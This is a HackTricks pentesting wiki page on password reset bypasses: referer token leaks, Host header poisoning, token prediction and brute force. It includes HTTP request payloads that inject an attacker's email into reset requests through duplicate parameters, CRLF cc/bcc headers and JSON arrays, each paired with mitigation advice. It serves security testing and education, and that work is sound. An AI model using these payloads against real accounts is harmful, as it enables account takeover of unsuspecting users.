hacktricks/src/pentesting-web/reset-password.md

# Reset/Forgotten Password Bypass

{{#include ../banners/hacktricks-training.md}}

<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

## **Password Reset Token Leak Via Referrer**

- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
- **References**:
  - [HackerOne Report 342693](https://hackerone.com/reports/342693)
  - [HackerOne Report 272379](https://hackerone.com/reports/272379)
  - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)

## **Password Reset Poisoning**

- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
- **Mitigation Steps**:
  - Validate the Host header against a whitelist of allowed domains.
  - Use secure, server-side methods to generate absolute URLs.
  - **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
  - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)

## **Password Reset By Manipulating Email Parameter**

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

- Add attacker email as second parameter using &

```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```

- Add attacker email as second parameter using %20

```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```

- Add attacker email as second parameter using |

```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```

- Add attacker email as second parameter using cc

```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```

- Add attacker email as second parameter using bcc

```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```

- Add attacker email as second parameter using ,

```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```

- Add attacker email as second parameter in json array

```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```

- **Mitigation Steps**:
  - Properly parse and validate email parameters server-side.
  - Use prepared statements or parameterized queries to prevent injection attacks.
- **References**:
  - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
  - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
  - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)

## **Changing Email And Password of any User through API Parameters**

- Attackers can modify email and password parameters in API requests to change account credentials.

```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```

- **Mitigation Steps**:
  - Ensure strict parameter validation and authentication checks.
  - Implement robust logging and monitoring to detect and respond to suspicious activities.
- **Reference**:
  - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)

## **No Rate Limiting: Email Bombing**

- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
- **Mitigation Steps**:
  - Implement rate limiting based on IP address or user account.
  - Use CAPTCHA challenges to prevent automated abuse.
- **References**:
  - [HackerOne Report 280534](https://hackerone.com/reports/280534)

## **Find out How Password Reset Token is Generated**

- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
  - Based Timestamp
  - Based on the UserID
  - Based on email of User
  - Based on Firstname and Lastname
  - Based on Date of Birth
  - Based on Cryptography
- **Mitigation Steps**:
  - Use strong, cryptographic methods for token generation.
  - Ensure sufficient randomness and length to prevent predictability.
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.

## **Guessable UUID**

- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:

{{#ref}}
uuid-insecurities.md
{{#endref}}

- **Mitigation Steps**:
  - Use GUID version 4 for randomness or implement additional security measures for other versions.
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.

## **Response Manipulation: Replace Bad Response With Good One**

- Manipulating HTTP responses to bypass error messages or restrictions.
- **Mitigation Steps**:
  - Implement server-side checks to ensure response integrity.
  - Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
- **Reference**:
  - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)

## **Using Expired Token**

- Testing whether expired tokens can still be used for password reset.
- **Mitigation Steps**:
  - Implement strict token expiration policies and validate token expiry server-side.

## **Brute Force Password Reset Token**

- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
- **Mitigation Steps**:
  - Implement robust rate-limiting and account lockout mechanisms.
  - Monitor for suspicious activities indicative of brute-force attacks.

## **Try Using Your Token**

- Testing if an attacker's reset token can be used in conjunction with the victim's email.
- **Mitigation Steps**:
  - Ensure that tokens are bound to the user session or other user-specific attributes.

## **Session Invalidation in Logout/Password Reset**

- Ensuring that sessions are invalidated when a user logs out or resets their password.
- **Mitigation Steps**:
  - Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.

## **Session Invalidation in Logout/Password Reset**

- Reset tokens should have an expiration time after which they become invalid.
- **Mitigation Steps**:
  - Set a reasonable expiration time for reset tokens and strictly enforce it server-side.

## References

- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)

<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>

Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking

**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights

**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates

**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!

{{#include ../banners/hacktricks-training.md}}